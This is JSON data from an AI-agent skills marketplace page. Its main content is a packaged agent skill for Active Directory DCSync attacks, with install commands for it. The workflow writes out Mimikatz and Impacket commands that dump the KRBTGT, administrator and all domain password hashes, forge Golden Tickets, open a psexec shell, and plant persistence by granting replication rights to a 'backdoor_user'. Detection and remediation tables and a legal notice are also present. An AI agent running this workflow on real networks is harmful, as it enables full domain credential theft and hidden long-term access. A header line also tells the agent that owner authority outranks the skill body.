[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71APFPWD2DQPBKQQS52MNAZ":3,"skill-same:01M71APFPWD2DQPBKQQS52MNAZ":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":67},"01M71APFPWD2DQPBKQQS52MNAZ","cyber-conducting-domain-persistence-with-dcsync",null,"Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-conducting-domain-persistence-with-dcsync\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"conducting domain persistence with dcsync","cyber conducting domain persistence with dcsync","domain","with","persistence","dcsync","active","apache","replicate","credentials","subdomain","d3fend","team","false","cybersecurity","ticket","golden-ticket","credential-dumping","creation","extracting","2026-11-10 10:12:30",false,"---\nname: cyber-conducting-domain-persistence-with-dcsync\ndescription: \"Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: conducting-domain-persistence-with-dcsync | description: Perform DCSync attacks to replicate Active Directory credentials and |   establish domain persistence by extracting KRBTGT, Domain Admin, and service account |   hashes for Golden Ticket creation. | domain: cybersecurity | subdomain: red-teaming | tags: | - red-team | - active-directory | - dcsync | - persistence | - credential-dumping | - golden-ticket | - mimikatz | version: '1.0' | author: mahipal | license: Apache-2.0 | d3fend_te\"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Conducting Domain Persistence with DCSync\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nDCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.\n\n\n## When to Use\n\n- When conducting security assessments that involve conducting domain persistence with dcsync\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Identify accounts with DCSync (replication) rights in Active Directory\n- Perform DCSync using Mimikatz or Impacket's secretsdump.py\n- Extract the KRBTGT account hash for Golden Ticket creation\n- Dump all domain user password hashes for credential analysis\n- Forge Golden Tickets for persistent domain access\n- Grant DCSync rights to a controlled account for alternative persistence\n- Document the attack chain and persistence mechanisms\n\n## MITRE ATT&CK Mapping\n\n- **T1003.006** - OS Credential Dumping: DCSync\n- **T1558.001** - Steal or Forge Kerberos Tickets: Golden Ticket\n- **T1222.001** - File and Directory Permissions Modification: Windows\n- **T1098** - Account Manipulation\n- **T1078.002** - Valid Accounts: Domain Accounts\n\n## Workflow\n\n### Phase 1: Identify Accounts with DCSync Rights\n1. Enumerate principals with replication rights:\n   ```powershell\n   # Using PowerView\n   Get-DomainObjectAcl -SearchBase \"DC=domain,DC=local\" -ResolveGUIDs |\n     Where-Object { ($_.ObjectAceType -match 'Replicating') -and\n                    ($_.ActiveDirectoryRights -match 'ExtendedRight') } |\n     Select-Object SecurityIdentifier, ObjectAceType\n\n   # Using BloodHound Cypher query\n   MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)\n   RETURN u.name, d.name\n   ```\n2. Using Impacket's FindDelegation or custom LDAP query:\n   ```bash\n   # Check with Impacket\n   findDelegation.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1\n   ```\n3. Default accounts with DCSync rights:\n   - Domain Admins\n   - Enterprise Admins\n   - Domain Controllers group\n   - SYSTEM on Domain Controllers\n\n### Phase 2: DCSync Credential Extraction\n1. Using Mimikatz (Windows):\n   ```powershell\n   # Dump specific account (KRBTGT for Golden Ticket)\n   mimikatz.exe \"lsadump::dcsync \u002Fdomain:domain.local \u002Fuser:krbtgt\"\n\n   # Dump Domain Admin\n   mimikatz.exe \"lsadump::dcsync \u002Fdomain:domain.local \u002Fuser:administrator\"\n\n   # Dump all domain accounts\n   mimikatz.exe \"lsadump::dcsync \u002Fdomain:domain.local \u002Fall \u002Fcsv\"\n   ```\n2. Using Impacket secretsdump.py (Linux):\n   ```bash\n   # Dump all credentials\n   secretsdump.py domain.local\u002Fadmin:'Password123'@10.10.10.1\n\n   # Dump specific user\n   secretsdump.py -just-dc-user krbtgt domain.local\u002Fadmin:'Password123'@10.10.10.1\n\n   # Dump only NTLM hashes (no Kerberos keys)\n   secretsdump.py -just-dc-ntlm domain.local\u002Fadmin:'Password123'@10.10.10.1\n\n   # Using Kerberos authentication\n   export KRB5CCNAME=admin.ccache\n   secretsdump.py -k -no-pass domain.local\u002Fadmin@DC01.domain.local\n   ```\n\n### Phase 3: Golden Ticket Creation\n1. Using Mimikatz with extracted KRBTGT hash:\n   ```powershell\n   # Create Golden Ticket\n   mimikatz.exe \"kerberos::golden \u002Fuser:administrator \u002Fdomain:domain.local \\\n     \u002Fsid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \\\n     \u002Fkrbtgt:\u003Ckrbtgt_ntlm_hash> \u002Fptt\"\n\n   # Create with specific group memberships\n   mimikatz.exe \"kerberos::golden \u002Fuser:fakeadmin \u002Fdomain:domain.local \\\n     \u002Fsid:S-1-5-21-XXXXXXXXXX \\\n     \u002Fkrbtgt:\u003Ckrbtgt_ntlm_hash> \\\n     \u002Fgroups:512,513,518,519,520 \u002Fptt\"\n   ```\n2. Using Impacket ticketer.py (Linux):\n   ```bash\n   # Create Golden Ticket\n   ticketer.py -nthash \u003Ckrbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \\\n     -domain domain.local administrator\n\n   # Use the ticket\n   export KRB5CCNAME=administrator.ccache\n   psexec.py -k -no-pass domain.local\u002Fadministrator@DC01.domain.local\n   ```\n\n### Phase 4: Persistence via DCSync Rights\n1. Grant DCSync rights to a controlled account for persistence:\n   ```powershell\n   # Using PowerView - Add DS-Replication-Get-Changes-All rights\n   Add-DomainObjectAcl -TargetIdentity \"DC=domain,DC=local\" \\\n     -PrincipalIdentity backdoor_user -Rights DCSync\n\n   # Verify rights were added\n   Get-DomainObjectAcl -SearchBase \"DC=domain,DC=local\" -ResolveGUIDs |\n     Where-Object { $_.SecurityIdentifier -match \"backdoor_user_SID\" }\n   ```\n2. Using ntlmrelayx.py for automated DCSync rights escalation:\n   ```bash\n   # Relay authentication to add DCSync rights\n   ntlmrelayx.py -t ldap:\u002F\u002FDC01.domain.local --escalate-user backdoor_user\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Mimikatz | DCSync extraction, Golden Ticket creation | Windows |\n| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) |\n| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) |\n| PowerView | ACL enumeration and modification | Windows (PowerShell) |\n| Rubeus | Kerberos ticket manipulation | Windows (.NET) |\n| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |\n\n## Critical Hashes to Extract\n\n| Account | Purpose | Persistence Value |\n|---------|---------|-------------------|\n| krbtgt | Golden Ticket creation | Indefinite domain access |\n| Administrator | Direct DA access | Immediate privileged access |\n| Service accounts | Lateral movement | Service access across domain |\n| Computer accounts | Silver Ticket creation | Service-level impersonation |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs |\n| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-\u002F1131f6ad- GUIDs) |\n| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users |\n| ACL modifications on domain root object | Event 5136 (directory service changes) |\n| Replication traffic volume spike | Network baseline deviation monitoring |\n\n## Validation Criteria\n\n- [ ] Accounts with DCSync rights enumerated\n- [ ] KRBTGT hash extracted via DCSync\n- [ ] All domain credentials dumped successfully\n- [ ] Golden Ticket forged and validated for DA access\n- [ ] DCSync rights persistence mechanism established (if in scope)\n- [ ] Access to Domain Controller validated with Golden Ticket\n- [ ] Evidence documented with hash values and timestamps\n- [ ] Remediation recommendations provided (double KRBTGT reset, ACL audit)\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Conducting Domain Persistence with DCSync\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nDCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.\n\n\n## When to Use\n\n- When conducting security assessments that involve conducting domain persistence with dcsync\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Identify accounts with DCSync (replication) rights in Active Directory\n- Perform DCSync using Mimikatz or Impacket's secretsdump.py\n- Extract the KRBTGT account hash for Golden Ticket creation\n- Dump all domain user password hashes for credential analysis\n- Forge Golden Tickets for persistent domain access\n- Grant DCSync rights to a controlled account for alternative persistence\n- Document the attack chain and persistence mechanisms\n\n## MITRE ATT&CK Mapping\n\n- **T1003.006** - OS Credential Dumping: DCSync\n- **T1558.001** - Steal or Forge Kerberos Tickets: Golden Ticket\n- **T1222.001** - File and Directory Permissions Modification: Windows\n- **T1098** - Account Manipulation\n- **T1078.002** - Valid Accounts: Domain Accounts\n\n## Workflow\n\n### Phase 1: Identify Accounts with DCSync Rights\n1. Enumerate principals with replication rights:\n   ```powershell\n   # Using PowerView\n   Get-DomainObjectAcl -SearchBase \"DC=domain,DC=local\" -ResolveGUIDs |\n     Where-Object { ($_.ObjectAceType -match 'Replicating') -and\n                    ($_.ActiveDirectoryRights -match 'ExtendedRight') } |\n     Select-Object SecurityIdentifier, ObjectAceType\n\n   # Using BloodHound Cypher query\n   MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)\n   RETURN u.name, d.name\n   ```\n2. Using Impacket's FindDelegation or custom LDAP query:\n   ```bash\n   # Check with Impacket\n   findDelegation.py domain.local\u002Fuser:'Password123' -dc-ip 10.10.10.1\n   ```\n3. Default accounts with DCSync rights:\n   - Domain Admins\n   - Enterprise Admins\n   - Domain Controllers group\n   - SYSTEM on Domain Controllers\n\n### Phase 2: DCSync Credential Extraction\n1. Using Mimikatz (Windows):\n   ```powershell\n   # Dump specific account (KRBTGT for Golden Ticket)\n   mimikatz.exe \"lsadump::dcsync \u002Fdomain:domain.local \u002Fuser:krbtgt\"\n\n   # Dump Domain Admin\n   mimikatz.exe \"lsadump::dcsync \u002Fdomain:domain.local \u002Fuser:administrator\"\n\n   # Dump all domain accounts\n   mimikatz.exe \"lsadump::dcsync \u002Fdomain:domain.local \u002Fall \u002Fcsv\"\n   ```\n2. Using Impacket secretsdump.py (Linux):\n   ```bash\n   # Dump all credentials\n   secretsdump.py domain.local\u002Fadmin:'Password123'@10.10.10.1\n\n   # Dump specific user\n   secretsdump.py -just-dc-user krbtgt domain.local\u002Fadmin:'Password123'@10.10.10.1\n\n   # Dump only NTLM hashes (no Kerberos keys)\n   secretsdump.py -just-dc-ntlm domain.local\u002Fadmin:'Password123'@10.10.10.1\n\n   # Using Kerberos authentication\n   export KRB5CCNAME=admin.ccache\n   secretsdump.py -k -no-pass domain.local\u002Fadmin@DC01.domain.local\n   ```\n\n### Phase 3: Golden Ticket Creation\n1. Using Mimikatz with extracted KRBTGT hash:\n   ```powershell\n   # Create Golden Ticket\n   mimikatz.exe \"kerberos::golden \u002Fuser:administrator \u002Fdomain:domain.local \\\n     \u002Fsid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \\\n     \u002Fkrbtgt:\u003Ckrbtgt_ntlm_hash> \u002Fptt\"\n\n   # Create with specific group memberships\n   mimikatz.exe \"kerberos::golden \u002Fuser:fakeadmin \u002Fdomain:domain.local \\\n     \u002Fsid:S-1-5-21-XXXXXXXXXX \\\n     \u002Fkrbtgt:\u003Ckrbtgt_ntlm_hash> \\\n     \u002Fgroups:512,513,518,519,520 \u002Fptt\"\n   ```\n2. Using Impacket ticketer.py (Linux):\n   ```bash\n   # Create Golden Ticket\n   ticketer.py -nthash \u003Ckrbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \\\n     -domain domain.local administrator\n\n   # Use the ticket\n   export KRB5CCNAME=administrator.ccache\n   psexec.py -k -no-pass domain.local\u002Fadministrator@DC01.domain.local\n   ```\n\n### Phase 4: Persistence via DCSync Rights\n1. Grant DCSync rights to a controlled account for persistence:\n   ```powershell\n   # Using PowerView - Add DS-Replication-Get-Changes-All rights\n   Add-DomainObjectAcl -TargetIdentity \"DC=domain,DC=local\" \\\n     -PrincipalIdentity backdoor_user -Rights DCSync\n\n   # Verify rights were added\n   Get-DomainObjectAcl -SearchBase \"DC=domain,DC=local\" -ResolveGUIDs |\n     Where-Object { $_.SecurityIdentifier -match \"backdoor_user_SID\" }\n   ```\n2. Using ntlmrelayx.py for automated DCSync rights escalation:\n   ```bash\n   # Relay authentication to add DCSync rights\n   ntlmrelayx.py -t ldap:\u002F\u002FDC01.domain.local --escalate-user backdoor_user\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Mimikatz | DCSync extraction, Golden Ticket creation | Windows |\n| secretsdump.py | Remote DCSync (Impacket) | Linux (Python) |\n| ticketer.py | Golden Ticket creation (Impacket) | Linux (Python) |\n| PowerView | ACL enumeration and modification | Windows (PowerShell) |\n| Rubeus | Kerberos ticket manipulation | Windows (.NET) |\n| ntlmrelayx.py | DCSync rights escalation via relay | Linux (Python) |\n\n## Critical Hashes to Extract\n\n| Account | Purpose | Persistence Value |\n|---------|---------|-------------------|\n| krbtgt | Golden Ticket creation | Indefinite domain access |\n| Administrator | Direct DA access | Immediate privileged access |\n| Service accounts | Lateral movement | Service access across domain |\n| Computer accounts | Silver Ticket creation | Service-level impersonation |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| DrsGetNCChanges RPC calls from non-DC sources | Network monitoring for DRSUAPI traffic from unusual IPs |\n| Event 4662 with Replicating Directory Changes GUIDs | Windows Security Log on DC (1131f6aa-\u002F1131f6ad- GUIDs) |\n| Event 4624 with Golden Ticket anomalies | Logon events with impossible SIDs or non-existent users |\n| ACL modifications on domain root object | Event 5136 (directory service changes) |\n| Replication traffic volume spike | Network baseline deviation monitoring |\n\n## Validation Criteria\n\n- [ ] Accounts with DCSync rights enumerated\n- [ ] KRBTGT hash extracted via DCSync\n- [ ] All domain credentials dumped successfully\n- [ ] Golden Ticket forged and validated for DA access\n- [ ] DCSync rights persistence mechanism established (if in scope)\n- [ ] Access to Domain Controller validated with Golden Ticket\n- [ ] Evidence documented with hash values and timestamps\n- [ ] Remediation recommendations provided (double KRBTGT reset, ACL audit)\n",{"hide":44,"name":5,"source":45,"license":15,"description":7,"authorized_lab":40,"origin_frontmatter":46},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: conducting-domain-persistence-with-dcsync | description: Perform DCSync attacks to replicate Active Directory credentials and |   establish domain persistence by extracting KRBTGT, Domain Admin, and service account |   hashes for Golden Ticket creation. | domain: cybersecurity | subdomain: red-teaming | tags: | - red-team | - active-directory | - dcsync | - persistence | - credential-dumping | - golden-ticket | - mimikatz | version: '1.0' | author: mahipal | license: Apache-2.0 | d3fend_te","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-conducting-domain-persistence-with-dcsync",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-11 16:42:59",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":44},[57,60,63],{"tool":58,"command":59},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-conducting-domain-persistence-with-dcsync",{"tool":61,"command":62},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-conducting-domain-persistence-with-dcsync",{"tool":64,"command":65},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-conducting-domain-persistence-with-dcsync","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-conducting-domain-persistence-with-dcsync\u002FSKILL.md",[],[69,92,116,146,175,194],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":39},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[77,78,22,79,80,81,82,83,84,85,86,87,88,89,90,91],"zoom out","zoom","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":39},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[99,100,79,101,102,103,104,105,106,107,108,85,109,87,110,111,112,113,114,115],"yuri shura","parallel","architecture review","planning","for","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":127,"publishedAt":39},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[122],{"categoryNo":123,"categoryName":124,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000005","邮件与沟通","SCENARIO","使用场景",[128,129,130,131,132,133,134,135,136,87,137,138,139,140,141,142,143,103,144,145],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":160,"publishedAt":39},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[152,155],{"categoryNo":153,"categoryName":154,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":156,"categoryName":157,"taxonomyType":158,"taxonomyTypeDesc":159},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[161,89,162,128,79,163,164,165,103,166,167,168,169,170,171,172,173,174,85,87],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":181,"publishedAt":39},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[182,183,184,185,186,187,188,189,190,87,191,110,192,193],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":195,"name":196,"nameZh":6,"description":197,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":198,"categories":199,"keywords":212,"publishedAt":39},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[200,203,206,209],{"categoryNo":201,"categoryName":202,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":204,"categoryName":205,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":207,"categoryName":208,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":210,"categoryName":211,"taxonomyType":158,"taxonomyTypeDesc":159},"01JBSEEDCAT000000000000036","内容创作者",[213,214,215,87,110,216,79,217,104,85,218],"writing","writing skills","new","work","editing","Existing"]